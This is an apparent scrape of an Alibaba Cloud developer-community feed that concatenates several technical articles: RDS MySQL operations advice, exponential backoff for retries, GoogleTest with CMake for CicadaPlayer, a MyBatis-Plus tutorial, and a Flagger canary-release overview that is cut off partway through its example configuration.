        重启之前请先自查数据库运行情况,如果是存在DDL操作(可通过show processlist;查看是否有DDL语句在执行)或者大事务(可通过查看INFORMATION_SCHEMA.INNODB_TRX表来确认)的情况,重启实例反而会造成长时间的不可用!因为数据库在打开端口允许连入之前,需要保证自身数据一致性,所以需要做recovery或者undo的操作,根据事务的已经执行的时长或是事务本身要执行的时长,强制重启可能导致实例数小时无法正常使用!

        员工删库,数据丢失?不存在的!云上RDS丰富的功能,护航您的宝贵数据!

        近期互联网圈内,“微盟”事件可谓是闹得沸沸扬扬,删库后6天都没能完全恢复数据,究其原因还是他们自建了数据库,因为是自建的,运维管理人员掌握了极高的权限,甚至可以root权限登机器进行极其危险的操作,哪怕不是有意为之,一条错误的指令就可能造成极其严重的损失。
        然而上云后,可以实现对数据库实例,乃至库表级别的细粒度权限控制,运维人员得不到不该有的权限也就无法进行如此高危操作。就算是执行了库级高危操作drop database,云上也是有很多解法的,完全不需要花6天之久进行恢复:
        解法1:
        使用云上冷备+binlog按时间点克隆,如果发生此类异常,云盘实例一般只需要几分钟的基于快照创建磁盘+数小时binlog重放即可完全恢复,本地盘实例也可以根据实例备份大小,一般也完全可以在1天内完全恢复。
        解法2:
        设置延迟读库,在发生删库事件后,立即停止复制,找到发生删库的时间点让binlog应用到删库之前就可以提供只读服务了,之后通过解法1所述的克隆实例恢复,一般也可以在1天内完全恢复读写。
        解法3:
        目前RDS本地盘已经支持分库分表恢复,通过这个功能可以表级粒度原地恢复,由于减少了恢复时数据处理量,可以相较于克隆实例更快速的完成恢复动作!

        不使用MyISAM引擎

        为什么不推荐使用MyISAM引擎?因为MyISAM引擎本身不支持事务,这是一个很大的问题,在高可用版本中,不支持事务会经常因为各种原因(比如OOM自动重启,比如主备切换等),导致备库和主库的不一致,这是从原理上就决定的。而且,由于不支持事务,我们在进行备份时,只能选择将整个数据库实例加锁,从而阻塞写入,来保证备份的一致性,假如我们有几G的非事务数据,那么备库损坏时需要修复时(通过主库备份来重建备库),可能就有数十分钟不可写入了,对实例的可用性有不小的冲击。此外,除了不支持事务意外,MyISAM引擎本身有很多缺陷,这些缺陷同样会导致数据损坏甚至丢失,引发主从数据不一致,现代数据库看来,相较于InnoDB,MyISAM也没有什么明显优势,所以还在使用MyISAM引擎的需要尽快评估自己的业务尽快迁移到InnoDB。

        请给所有表加主键(或隐式主键)

        为了尽量保证主备数据一致,我们系统默认采用Row格式的Binlog进行主从同步。
        image.png
        这种格式的Binlog在有主键时会使用主键作为Where子句的判断条件写入binlog如果没有主键时,我们Update 多条数据,会产生使用普通字段作为Where判断条件的Binlog,这种Binlog在从库应用时,相较于主键一般都需要进行全表扫描,再加上主库执行一条DML,从库要执行N条,从而导致从库应用效率远不如主库,从而迅速产生严重的主备延迟。如果存在主键,那么通过主键的聚簇索引可以快速定位到要修改的记录了,从而主库和从库可以保持基本追平的状态。

        • 备库延迟是个很严重的问题,在主库发生宕机时,为了保证数据一致性,系统会判断备库延迟在一定范围内才允许HA切换,如果备库长期保持延迟,那么高可用功能相当于没有了!

        此外,没有主键引起的长时间的备库延迟,我们的备份也只能在主库去做(否则数据是很久之前的),备份多多少少的还是要锁表一段时间,影响主库的可用性。

        由于存量的无主键表,增加主键可能影响到业务逻辑,所以我们也提供了隐式主键功能,该功能现已默认开启,但是存量表需要变更才能使用,新增表如果没有提供主键默认增加一个隐式主键,保证row模式Binlog可以快速应用,有需要改动的可以咨询阿里云售后。

        避免大量集中单表操作

        由于数据库默认的并行复制功能是基于库表级的并行复制(可参考我的上一篇文章,有介绍各版本并行复制功能),大量的单表操作同样会造成不能并行复制的问题,从而影响备份以及HA等相关功能。

        大事务(长时间查询、数据变更)

        根据mysql的设计,事务在提交时才会写入binlog,较大的事务,例如执行1小时以上的事务,在完成后写入binlog,从库也需要1小时来完成binlog的应用,从而导致这期间备库延迟。在备库延迟时,同样会影响备份和HA相关功能。

        大促前提前预估、规划升级,保证实例磁盘、规格充裕,就是保住业务自己的生命线!

        实例业务突然上量时,不仅仅是产生的数据会占用大量磁盘空间,由于除了数据本身,还会产生大量的Binlog,根据不同的binlog上传、保留策略(可在控制台配置),可能会发生 binlog占用大量空间迅速让实例空间满锁定的情况。
        由于实例升级大部分情况下都需要做数据迁移(特别是本地盘的情况,数据搬迁会随着数据量大幅增加),此时进行实例升级,可能也不会特别顺畅:业务压力大时,如果优化不好可能会有严重的备库延迟问题,追不上就没办法切换到升级后的新实例,届时只能停服停写来完成升级,对业务的损失不可计量!
        请在业务上量前,尽量评估好数据规模,至少提前一周升级RDS,并做好压测,避免在业务高峰时升级升不上去,造成业务上的严重损失!

        包年包月到期怎么办?

        阿里云为尽最大可能保障您的数据,已经将实例过期后数据保留延长到15天,15天内都可以在控制台的回收站功能中操作恢复,其中7天内续费可以秒恢复,7~15天可以通过备份恢复。假如您的数据比较敏感,也可以在回收站功能中立即销毁实例。
        image.png

        ]]>
        指数退避(Exponential backoff)在网络请求中的应用-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 一、背景

        最近做云服务 API 测试项目的过程中,发现某些时候会大批量调用 API,从而导致限流的报错。在遇到这种报错时,传统的重试策略是每隔一段时间重试一次。但由于是固定的时间重试一次,重试时又会有大量的请求在同一时刻涌入,会不断地造成限流。

        这让我回想起两年前在查阅Celery Task 文档的时候发现可以为任务设置 retry_backoff 的经历,它让任务在失败时以 指数退避 的方式进行重试。那么指数退避究竟是什么样的呢?

        二、指数退避

        根据 wiki 上对 Exponential backoff 的说明,指数退避是一种通过反馈,成倍地降低某个过程的速率,以逐渐找到合适速率的算法。

        在以太网中,该算法通常用于冲突后的调度重传。根据时隙和重传尝试次数来决定延迟重传。

        c 次碰撞后(比如请求失败),会选择 0 和 $2^c-1$ 之间的随机值作为时隙的数量。

        • 对于第 1 次碰撞来说,每个发送者将会等待 0 或 1 个时隙进行发送。
        • 而在第 2 次碰撞后,发送者将会等待 0 到 3( 由 $2^2-1$ 计算得到)个时隙进行发送。
        • 而在第 3 次碰撞后,发送者将会等待 0 到 7( 由 $2^3-1$ 计算得到)个时隙进行发送。
        • 以此类推……

        随着重传次数的增加,延迟的程度也会指数增长。

        说的通俗点,每次重试的时间间隔都是上一次的两倍。

        三、指数退避的期望值

        考虑到退避时间的均匀分布,退避时间的数学期望是所有可能性的平均值。也就是说,在 c 次冲突之后,退避时隙数量在 [0,1,...,N] 中,其中 $N=2^c-1$ ,则退避时间的数学期望(以时隙为单位)是

        $$E(c)=frac{1}{N+1}sum_{i=0}^{N}{i}=frac{1}{N+1}frac{N(N+1)}{2}=frac{N}{2}=frac{2^c-1}{2}$$

        那么对于前面讲到的例子来说:

        • 第 1 次碰撞后,退避时间期望为 $E(1)=frac{2^1-1}{2}=0.5$
        • 第 2 次碰撞后,退避时间期望为 $E(2)=frac{2^2-1}{2}=1.5$
        • 第 3 次碰撞后,退避时间期望为 $E(3)=frac{2^3-1}{2}=3.5$

        四、指数退避的应用

        4.1 Celery 中的指数退避算法

        来看下 celery/utils/time.py 中获取指数退避时间的函数:

        def get_exponential_backoff_interval(
            factor,
            retries,
            maximum,
            full_jitter=False
        ):
            """Calculate the exponential backoff wait time."""
            # Will be zero if factor equals 0
            countdown = factor * (2 ** retries)
            # Full jitter according to
            # https://www.awsarchitectureblog.com/2015/03/backoff.html
            if full_jitter:
                countdown = random.randrange(countdown + 1)
            # Adjust according to maximum wait time and account for negative values.
            return max(0, min(maximum, countdown))

        这里 factor 是退避系数,作用于整体的退避时间。而 retries 则对应于上文的 c(也就是碰撞次数)。核心内容 countdown = factor * (2 ** retries) 和上文提到的指数退避算法思路一致。
        在此基础上,可以将 full_jitter 设置为 True,含义是对退避时间做一个“抖动”,以具有一定的随机性。最后呢,则是限定给定值不能超过最大值 maximum,以避免无限长的等待时间。不过一旦取最大的退避时间,也就可能导致多个任务同时再次执行。更多见 Task.retry_jitter

        4.2 《UNIX 环境高级编程》中的连接示例

        在 《UNIX 环境高级编程》(第 3 版)的 16.4 章节中,也有一个使用指数退避来建立连接的示例:

        #include "apue.h"
        #include <sys/socket.h>
        
        #define MAXSLEEP 128
        
        int connect_retry(int domain, int type, int protocol,
                          const struct sockaddr *addr, socklen_t alen)
        {
            int numsec, fd;
        
            /*
            * 使用指数退避尝试连接
            */
            for (numsec = 1; numsec < MAXSLEEP; numsec <<= 1)
            {
                if (fd = socket(domain, type, protocol) < 0)
                    return (-1);
                if (connect(fd, addr, alen) == 0)
                {
                    /*
                    * 连接接受
                    */
                    return (fd);
                }
                close(fd);
        
                /*
                * 延迟后重试
                */
                if (numsec <= MAXSLEEP / 2)
                    sleep(numsec);
            }
            return (-1);
        }

        如果连接失败,进程会休眠一小段时间(numsec),然后进入下次循环再次尝试。每次循环休眠时间是上一次的 2 倍,直到最大延迟 1 分多钟,之后便不再重试。

        总结

        回到开头的问题,在遇到限流错误的时候,通过指数退避算法进行重试,我们可以最大程度地避免再次限流。相比于固定时间重试,指数退避加入了时间放大性和随机性,从而变得更加“智能”。至此,我们再也不用担心限流让整个测试程序运行中断了~

        ]]>
        开源播放器CicadaPlayer单元测试之Googletest和cmake-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 CicadaPlayer在Mac和Linux下使用Googletest结合cmake进行单元测试,并且可以在Travis服务器上进行单元测试,下面我们就来介绍一下如何实现

        使用cmake整合googletest

        首先呢,我们需要“安装”Googletest,这里呢,我们直接使用cmake的FetchContent功能,直接使用,无需手动安装

        我们可以建立一个cmake文件,比如GoogleTest.cmake

        此文件参考cmake-cookbook为了工程上使用方便,我做了一下提炼

        include(FetchContent)FetchContent_Declare(        googletest        GIT_REPOSITORY https://github.com/google/googletest.git        GIT_TAG release-1.8.0)FetchContent_GetProperties(googletest)if (NOT googletest_POPULATED)    FetchContent_Populate(googletest)    # Prevent GoogleTest from overriding our compiler/linker options    # when building with Visual Studio    set(gtest_force_shared_crt ON CACHE BOOL "" FORCE)    # Prevent GoogleTest from using PThreads    set(gtest_disable_pthreads ON CACHE BOOL "" FORCE)    # adds the targers: gtest, gtest_main, gmock, gmock_main    add_subdirectory(            ${googletest_SOURCE_DIR}            ${googletest_BINARY_DIR}    )    # Silence std::tr1 warning on MSVC    if (MSVC)        foreach (_tgt gtest gtest_main gmock gmock_main)            target_compile_definitions(${_tgt}                    PRIVATE                    "_SILENCE_TR1_NAMESPACE_DEPRECATION_WARNING"                    )        endforeach ()    endif ()endif ()set(CMAKE_CXX_FLAGS "-fprofile-instr-generate -fcoverage-mapping")

        引用googletest

        在需要使用的地方直接

        include(GoogleTest.cmake)

        就可以了,而一般情况下一个工程都会有很多的单元测试,一般的做法呢,我们创建一个根CMakeLists文件,在这个根CMakeLists文件中引用这个Googletest.cmake文件即可,如

        ...
        include(GoogleTest.cmake)add_subdirectory(dataSource)#add_subdirectory(render)add_subdirectory(demuxer)add_subdirectory(decoder)
        ...

        这样每个子目录下的测试文件都可以直接使用googletest了

        ...
        enable_testing()add_test( NAME dataSourceTest COMMAND $<TARGET_FILE:dataSourceTest>)
        ...

        这样就添加了一个单元测试

        为ctest优化CMakeLists

        如果你在每个子目录的CMakeLists中添加自己的单元测试,当然是没有问题,这样的好处是,在你新添加子目录后,只需要在这个根CMakeLists中 add_subdirectory就可以了,不需要其他修改。但是如果你准备使用ctest做单元测试,那么你就需要先进入每一个子目录下,然后再执行,如果执行完单元测试后还需要做些别的,如覆盖率统计,那么整个流程就比较复杂了。并且最麻烦的是不能多任务执行了。

        我在这里选的是另外一种方法,add_test写在根CMakeLists中,这样在这个根目录下执行ctest就可以了,并且支持多任务并行执行

        可参考CMakeLists.txt

        project(frameworkUintTest)cmake_minimum_required(VERSION 3.15)include(GoogleTest.cmake)add_subdirectory(dataSource)#add_subdirectory(render)add_subdirectory(demuxer)add_subdirectory(decoder)enable_testing()add_test(        NAME dataSourceTest        COMMAND $<TARGET_FILE:dataSourceTest>)#add_test(#        NAME renderTest#        COMMAND $<TARGET_FILE:renderTest>#)add_test(        NAME demuxerUnitTest        COMMAND $<TARGET_FILE:demuxerUnitTest>)add_test(        NAME decoderUnitTest        COMMAND $<TARGET_FILE:decoderUnitTest>)

         

        如在Travis服务器上

        https://github.com/alibaba/CicadaPlayer/blob/develop/.travis.yml

          - cd mediaPlayer/tests/  - ctest -j8 --output-on-failure

        如此就可以了

        爱词霸

         ]]> MyBatis-Plus入门-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 什么是MyBatis-Plus

        从名字便知它是MyBatis的增强工具,对MyBatis只做扩展增强不做改变,为简单开发,提高效率而生。

        特性

        • 无侵入:只做增强不做改变,引入它不会对现有工程产生影响,如丝般顺滑
        • 损耗小:启动即会自动注入基本 CURD,性能基本无损耗,直接面向对象操作
        • 强大的 CRUD 操作:内置通用 Mapper、通用 Service,仅仅通过少量配置即可实现单表大部分 CRUD 操作,更有强大的条件构造器,满足各类使用需求
        • 支持 Lambda 形式调用:通过 Lambda 表达式,方便的编写各类查询条件,无需再担心字段写错
        • 支持主键自动生成:支持多达 4 种主键策略(内含分布式唯一 ID 生成器 - Sequence),可自由配置,完美解决主键问题
        • 支持 ActiveRecord 模式:支持 ActiveRecord 形式调用,实体类只需继承 Model 类即可进行强大的 CRUD 操作
        • 支持自定义全局通用操作:支持全局通用方法注入( Write once, use anywhere )
        • 内置代码生成器:采用代码或者 Maven 插件可快速生成 Mapper 、 Model 、 Service 、 Controller 层代码,支持模板引擎,更有超多自定义配置等您来使用
        • 内置分页插件:基于 MyBatis 物理分页,开发者无需关心具体操作,配置好插件之后,写分页等同于普通 List 查询
        • 分页插件支持多种数据库:支持 MySQL、MariaDB、Oracle、DB2、H2、HSQL、SQLite、Postgre、SQLServer2005、SQLServer 等多种数据库
        • 内置性能分析插件:可输出 Sql 语句以及其执行时间,建议开发测试时启用该功能,能快速揪出慢查询
        • 内置全局拦截插件:提供全表 delete 、 update 操作智能分析阻断,也可自定义拦截规则,预防误操作

        集成方法示例

        1. 引入依赖,使用myabtis-plus的依赖替换原有的mybatis依赖

        mybatis-plus的依赖会传递依赖mybatis,所以不必再单独声明,在使用SpringBoot的项目中引入如下依赖即可。

        <dependency>
          <groupId>com.baomidou</groupId>
          <artifactId>mybatis-plus-boot-starter</artifactId>
          <version>the-last-version</version>
        </dependency>
        1. 声明Sql-Mapping扫描,下面以将Sql-Mapping的接口声明放在“com.alsc.databus.order.dao”包中为例

        声明扫描范围,利用MyBatis原有的@MapperScan注解

        @Configuration
        @MapperScan("com.alsc.databus.order.dao")
        public class ModuleConfiguration {
           // ... 您的Bean定义代码
          
          // 要使用框架支持的自动分页查询,需要声明如下Bean
          @Bean
          public PaginationInterceptor paginationInterceptor() {
              PaginationInterceptor paginationInterceptor = new PaginationInterceptor();
              // 设置请求的页面大于最大页后操作, true调回到首页,false 继续请求  默认false
              // paginationInterceptor.setOverflow(false);
              // 设置最大单页限制数量,默认 500 条,-1 不受限制
              // paginationInterceptor.setLimit(500);
              return paginationInterceptor;
          }
        }

        声明一个Mapper接口,这里需要注意该Mapper继承了MyBatis-Plus提供的BaseMapper,且泛型参数指定为要保存到数据库的实体模型类。

        @Repository
        public interface OrderDao extends BaseMapper<UserOrder> {
           // 无须声明任何方法
        }

        实体模型类定义:

        @Data
        public class UserOrder extends Model<UserOrder> {
            private Long id;
        
            /**  外部订单id */
            @TableField(updateStrategy = NEVER)
            private String orderId;
            /**  用户id */
            private String userId;
            /**  商户id */
            private String merchantId;
            /**  saas门店id */
            private Long saasStoreId;
            /**  订单实付金额(包含支付级平台优惠),单位为分 */
            private Long payAmount;
              /** 订单来源 */
              private Source source;
        
            @TableField(fill = INSERT)
            private Date gmtCreate;
            @TableField(fill = INSERT_UPDATE)
            private Date gmtModified;
        }
        1. 使用Mapper接口进行数据库増删查改操作

          UserOrder order = new UserOrder();
          orderDao.insert(order); // 保存实体到数据表user_order,默认使用数据库自增id
          orderDao.delete(order.getId()); // 根据ID删除对应的记录 delete from user_order where id=1
          
          // 更新数据实体
          // update user_order set pay_amount=100, saas_store_id=534543423 where id=1
          order.setPayAmount(100);
          order.setSaasStoreId(534543423);
          orderDao.updateById()
          
          // 查询列表 
          // select id,order_id,user_id,... from user_order where user_id='hadix' and order_id='4325542342'
          UserOrder query = new UserOrder();
          query.setUserId("hadix");
          query.setOrderId("4325542342");
          List<UserOrder>  orderDao.selectList(Wrappers.query(query));
          
          // 分页查询,会自动执行以下两个sql语句
          // select id,order_id,... from user_order where user_id='hadix' and order_id='4325542342' limit 0,50
          // select count(*) from user_order where user_id='hadix' and order_id='4325542342'
          IPage<UserOrder> p = orderDao.selectPage(new Page<>(1, 50), Wrappers.query(query));
          
          // 如果仅仅想分页查询,不关心总页数,只需要执行一个sql语句
          // select id,order_id,... from user_order where user_id='hadix' and order_id='4325542342' limit 0,50
          IPage<UserOrder> p = orderDao.selectPage(new Page<>(1, 50, false), Wrappers.query(query));

        默认情况下生成的sql语句遵循如下约定:

        • 表名 = 实体类名由驼峰式转换为下划线分隔,例如UserOrder => user_order,可以通过@TableName(name=XXX)自定义
        • 列名 = 实体字段名有驼峰式转换为下划线分隔,例如userId => user_id,可以通过@TableField(name=XXX)自定义
        • 主键 = 默认属性名id对应列名id为主键,可以通过@TableId(value=xxx,idType=xxx)来自定义属性对应的主键列名。idType用来自定义主键生成方式,默认为AUTO:使用数据库自增,其他可选值为INPUT:由用户输入,UUID:使用全局唯一ID等。

        小结:

        由上述代码示例可见,与原始MyBatis-Plus不同的地方仅有Mapper的声明需要继承BaseMapper而已,默认情况无须编写任何配置,XML文件以及SQL语句,即可获得对单个实体的基本増删查改操作,且查询语句自动支持分页。

        BaseMapper声明了大量的増删查改方法,可以满足基本需求,列表如下:

        /** 插入一条记录 */
        int insert(T entity);
        /** 根据 ID 删除  */
        int deleteById(Serializable id);
        /** 根据 columnMap 条件,删除记录 */
        int deleteByMap(@Param(Constants.COLUMN_MAP) Map<String, Object> columnMap);
        /** 根据 entity 条件,删除记录 */
        int delete(@Param(Constants.WRAPPER) Wrapper<T> wrapper);
        /** 删除(根据ID 批量删除) */
        int deleteBatchIds(@Param(Constants.COLLECTION) Collection<? extends Serializable> idList);
        /** 根据 ID 修改 */
        int updateById(@Param(Constants.ENTITY) T entity);
        /** 根据 whereEntity 条件,更新记录 */
        int update(@Param(Constants.ENTITY) T entity, @Param(Constants.WRAPPER) Wrapper<T> updateWrapper);
        /** 根据 ID 查询 */
        T selectById(Serializable id);
        /** 查询(根据ID 批量查询) */
        List<T> selectBatchIds(@Param(Constants.COLLECTION) Collection<? extends Serializable> idList);
        /** 查询(根据 columnMap 条件) */
        List<T> selectByMap(@Param(Constants.COLUMN_MAP) Map<String, Object> columnMap);
        /** 根据 entity 条件,查询一条记录 */
        T selectOne(@Param(Constants.WRAPPER) Wrapper<T> queryWrapper);
        /** 根据 Wrapper 条件,查询总记录数 */
        Integer selectCount(@Param(Constants.WRAPPER) Wrapper<T> queryWrapper);
        /** 根据 entity 条件,查询全部记录 */
        List<T> selectList(@Param(Constants.WRAPPER) Wrapper<T> queryWrapper);
        /** 根据 Wrapper 条件,查询全部记录 */
        List<Map<String, Object>> selectMaps(@Param(Constants.WRAPPER) Wrapper<T> queryWrapper);
        /** 根据 Wrapper 条件,查询全部记录 */
        List<Object> selectObjs(@Param(Constants.WRAPPER) Wrapper<T> queryWrapper);
        /** 根据 entity 条件,查询全部记录(并翻页) */
        IPage<T> selectPage(IPage<T> page, @Param(Constants.WRAPPER) Wrapper<T> queryWrapper);
        /** 根据 Wrapper 条件,查询全部记录(并翻页) */
        IPage<Map<String, Object>> selectMapsPage(IPage<T> page, @Param(Constants.WRAPPER) Wrapper<T> queryWrapper);

        自定义查询、更新

        BaseMapper中提供的selectByXXX系列方法接受一个queryWrapper参数,利用LambdaQueryWrapper可以类型安全的方式编写查询,避免直接编写SQL。

        例如:增加一个根据订单ID查询,在上文的OrderDao接口中增加一个默认方法即可。

        @Repository
        public interface OrderDao extends BaseMapper<UserOrder> {
        
            /**
             * 根据订单号查询指定订单
             * select id,user_id,... from user_order where order_id=? and source=?
             * @param orderId 订单号
             * @param source  来源
             * @return 查询结果
             */
            default UserOrder getByOrderId(String orderId, Source source) {
                LambdaQueryWrapper<UserOrder> queryWrapper = Wrappers.lambdaQuery();
                return selectOne(
                    queryWrapper
                        .eq(UserOrder::getOrderId, orderId)
                        .eq(UserOrder::getSource, source)
                );
            }
        }

        LambdaQueryWrapper还支持编写动态查询,例如:

        @Data
        public class UserRequest {
              String userId;
            String orderId;
        }
        
        @Repository
        public interface OrderDao extends BaseMapper<UserOrder> {
        
            /**
             * 根据订单号查询指定订单
             *
             * <select id="find" parameterType="UserRequest" resultType="UserOrder">
             *  select id,user_id,... from user_order 
             *  <where>
             *    <if test="userId != null">
             *      and user_id = #{userId}
             *    </if>
             *     <if test="orderId != null">
             *      and order_id = #{orderId}
             *    </if>
             *  </where>
             * </select>
             *
             * @param orderId 订单号
             * @param source  来源
             * @return 查询结果
             */
            default List<UserOrder> find(UserRequest req) {
                LambdaQueryWrapper<UserOrder> queryWrapper = Wrappers.lambdaQuery();
                return selectList(
                    queryWrapper
                        .eq(req.getUserId()!=null, UserOrder::getUserId, req.getUserId())
                        .eq(req.getOrderId()!=null, UserOrder::getOrderId, req.getOrderId())
                );
            }
            
            /**
             * 同时支持Mybatis原来使用xml定义查询的方式,另外第一个参数为IPage对象时自动支持分页 
             */
            List<UserOrder> findByPage(Page<UserOrder> page, @Param("req") UserRequest req);
        }
        <mapper namespace="OrderDao">
          <select id="findByPage" parameterType="UserRequest" returnType="UserOrder">
            select id,user_id,... from user_order 
            <where>
              <if test="req.userId != null">
                and user_id = #{req.userId}
              </if>
               <if test="req.orderId != null">
                and order_id = #{req.orderId}
              </if>
            </where>
          </select>
        </mapper>

        更多有关LambdaQueryWrapper的用法可以查阅官方文档

        自定义更新语句:

        @Repository
        public interface OrderDao extends BaseMapper<UserOrder> {
        
            /**
             * 根据订单id更新订单
             * <mapper namespace="OrderDao">
             *   <update id="updateByOrderId" parameterType="UserOrder">
             *     update user_order
             *     <set>
             *       <if test="userOrder.userId != null">user_id = #{userOrder.userId},</if>
             *       <if test="userOrder.payAmount != null">pay_amount = #{userOrder.payAmount},</if>
             *       <if test="userOrder.saasStoreId != null">saas_store_id = #{userOrder.getSaasStoreId}</if>
             *       <!-- .... 其他语句 -->
             *     </set>
             *     where order_id = #{userOrder.orderId}
             *   </update>
             * </mapper>
             *
             * @param userOrder 用户订单
             */
            default void updateByOrderId(UserOrder userOrder) {
                LambdaUpdateWrapper<UserOrder> updateWrapper = Wrappers.lambdaUpdate();
                update(userOrder, updateWrapper.eq(UserOrder::getOrderId, userOrder.getOrderId()));
            }
        }

        更多有关LambdaUpdateWrapper的用法可以查阅官方文档

        自动填充

        技术团队通常对数据表结构有些规范要求,阿里的mysql规约中要求数据表必须有主键id,创建时间gmtCreated,更新时间gmtModified三个字段。业务代码中填充三个字段的代码无疑会成为样板代码,利用MyBatis-Plus提供的自动填充功能可以有效解决这个问题。

        @TableField注解有个fill属性,表示被标注的字段需要自动填充,取值如下:

        • INSERT:在插入时填充
        • INSERT_UPDATE:在插入和更新时都更新

        上面代码中对gmtCreated和gmtModified上加了@TableField(fill=INSERT)

        在您的应用中添加一个类型为MetaObjectHandler类型的SpringBean

        @Component
        public class OrderMetaObjectHandler implements MetaObjectHandler {
        
            private static final String FIELD_GMT_CREATE = "gmtCreate";
            private static final String FIELD_GMT_MODIFIED = "gmtModified";
            
              // 插入操作时执行自动填充方法
            @Override
            public void insertFill(MetaObject metaObject) {
                Date now = new Date();
                setInsertFieldValByName(FIELD_GMT_CREATE, now, metaObject);
                setInsertFieldValByName(FIELD_GMT_MODIFIED, now, metaObject);
            }
        
            // 更新时执行自动填充方法
            @Override
            public void updateFill(MetaObject metaObject) {
                setUpdateFieldValByName(FIELD_GMT_MODIFIED, new Date(), metaObject);
            }
        }

        如此声明后,上述自动填充代码就会在所有的插入和更新操作时执行。

        对于主键ID的自动生成,由于默认情况下主键有自己的生成策略,如果要使用自动填充,需要将主键ID的生成策略改为INPUT,可以使用@TableId(idType=INPUT)标注具体实体类的id字段或者mybatis-plus.global-config.db-config.id-type=input进行全局配置。

        下面以使用自定义序列生成主键ID为例:

        @Component
        public class OrderMetaObjectHandler implements MetaObjectHandler {
        
            private static final String DEFAULT_SEQUENCE_NAME = "defaultSequence";
        
            @Autowired
            private GroupSequence seq;
        
            @Override
            public void insertFill(MetaObject metaObject) {
                Class<?> tableClass = metaObject.getOriginalObject().getClass();
                TableInfo tableInfo = TableInfoHelper.getTableInfo(tableClass);
                
                setFieldValByName(tableInfo.getKeyProperty(), seq.nextValue(), metaObject);
            }
        
            @Override
            public void updateFill(MetaObject metaObject) {}
        }

        枚举类型序列化支持

        默认情况下,枚举类型将直接使用枚举值的名称保存到数据库的文本类型(char,varchar)字段中。

        我们经常会使用code模式为枚举指定数字类型的编码,希望保存编码到数据库的数值类型(tinyint,int)字段中

        上文中UserOrder的source字段是个枚举类型,声明如下:

        public enum Source{
            ELEME(1),ALIPAY(2);
            
            @EnumValue // 表示使用该值保存到数据库
            private final int code;
          
          Source(int code){
            this.code = code;
          }
        }

        Mybatis-Plus需要通过扫描发现需要处理的枚举类,为了缩小扫描范围需要如下配置

        mybatis-plus.type-enums-package=com.alsc.databus.order.model.enums

        这样既可直接保存UserOrder的实体到数据库,保存和反查枚举值均能由框架自行转换,无须人工编写代码。

        针对枚举的更多支持可以查阅官方文档

        逻辑删除

        逻辑删除是数据库操作的常用模式,通常我们会在实体类中声明一个int deleted字段,删除时将该值设置为1。

        MyBatis-Plus为我们提供了自动实现该模式的方式:

        @Data
        public class UserOrder{
          private Long id;
          
          @TableLogic
          private Integer deleted
        }

        使用@TableLogic注解标注在表示逻辑删除的字段上。

        然后再使用Mapper中的delete方法,实际执行的语句就是update user_order set deleted=1 where id=1

        而使用Mapper的selectXXX方法,实际执行的语句是select * from user_order where id=1 and deleted =0

        如果要改变表示删除状态的逻辑值,可以使用如下配置

        mybatis-plus:
          global-config:
            db-config:
              logic-delete-value: 1 # 逻辑已删除值(默认为 1)
              logic-not-delete-value: 0 # 逻辑未删除值(默认为 0)

        自动代码生成

        MyBatis-Plus提供了从数据库表生成Entity,Mapper Interface,Mapper XML,Service,Controller的生成器,默认支持Velocity,Freemarker,Beetl三种模板引擎,也可以通过自行扩展支持其他的模板引擎。

        感兴趣的读者可以自行查询官方文档

        不鼓励使用代码生成能力,原因如下:

        • 能通过模板生成的代码无疑都是样板代码
        • 代码生成很难细粒度按需生成,冗余的代码会为代码重构带来不必要的负担

        特别是在模型设计阶段,可能需要经常调整模型或数据表结构,这时已经生成的代码需要人工同步修改。

        • 样板代码会引入大量的噪音,代码读者需要过滤噪音代码才能关注重要信息。
        • 代码模板的好坏决定代码生成的质量,扩散安全风险

        如果要使用代码模板,尽可能只用于生成Entity类。

        ]]>
        Flagger(应用自动发布)介绍和原理剖析-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 简介

        Flagger是一个能使运行在k8s体系上的应用发布流程全自动(无人参与)的工具, 它能减少发布的人为关注时间, 并且在发布过程中能自动识别一些风险(例如:RT,成功率,自定义metrics)并回滚.

        主要特性

        features

        整体架构

        arch
        简单介绍下上图含义:
        • primary service: 服务稳定版本. 可以理解为已发布在线的服务
        • canary service: 即将发布的新版本服务.
        • Ingress: 服务网关.
        • Flagger: 会通过flagger spec(下面会介绍), 以ingress/service mesh的规范来调整primary和canary的流量策略.以此来达到A/B testing, blue/green, canary(金丝雀)发布效果. 在调整流量过程中, 根据prometheus采集的各项指标(RT,成功率等)来决策是否回滚发布或者继续调整流量比例。在此过程中,用户可以自定义是否人工干预,审核,收到通知等.

        实现原理

        注: 以下原理介绍, 主要基于以下的官方的实例说明:

        apiVersion: flagger.app/v1beta1
        kind: Canary
        metadata:
          name: podinfo
          namespace: test
        spec:
          # service mesh provider (optional)
          # can be: kubernetes, istio, linkerd, appmesh, nginx, contour, gloo, supergloo
          provider: istio
          # deployment reference
          targetRef:
            apiVersion: apps/v1
            kind: Deployment
            name: podinfo
          # the maximum time in seconds for the canary deployment
          # to make progress before it is rollback (default 600s)
          progressDeadlineSeconds: 60
          # HPA reference (optional)
          autoscalerRef:
            apiVersion: autoscaling/v2beta1
            kind: HorizontalPodAutoscaler
            name: podinfo
          service:
            # service name (defaults to targetRef.name)
            name: podinfo
            # ClusterIP port number
            port: 9898
            # container port name or number (optional)
            targetPort: 9898
            # port name can be http or grpc (default http)
            portName: http
            # add all the other container ports
            # to the ClusterIP services (default false)
            portDiscovery: true
            # HTTP match conditions (optional)
            match:
              - uri:
                  prefix: /
            # HTTP rewrite (optional)
            rewrite:
              uri: /
            # request timeout (optional)
            timeout: 5s
          # promote the canary without analysing it (default false)
          skipAnalysis: false
          # define the canary analysis timing and KPIs
          analysis:
            # schedule interval (default 60s)
            interval: 1m
            # max number of failed metric checks before rollback
            threshold: 10
            # max traffic percentage routed to canary
            # percentage (0-100)
            maxWeight: 50
            # canary increment step
            # percentage (0-100)
            stepWeight: 5
            # validation (optional)
            metrics:
            - name: request-success-rate
              # builtin Prometheus check
              # minimum req success rate (non 5xx responses)
              # percentage (0-100)
              thresholdRange:
                min: 99
              interval: 1m
            - name: request-duration
              # builtin Prometheus check
              # maximum req duration P99
              # milliseconds
              thresholdRange:
                max: 500
              interval: 30s
            - name: "database connections"
              # custom Prometheus check
              templateRef:
                name: db-connections
              thresholdRange:
                min: 2
                max: 100
              interval: 1m
            # testing (optional)
            webhooks:
              - name: "conformance test"
                type: pre-rollout
                url: http://flagger-helmtester.test/
                timeout: 5m
                metadata:
                  type: "helmv3"
                  cmd: "test run podinfo -n test"
              - name: "load test"
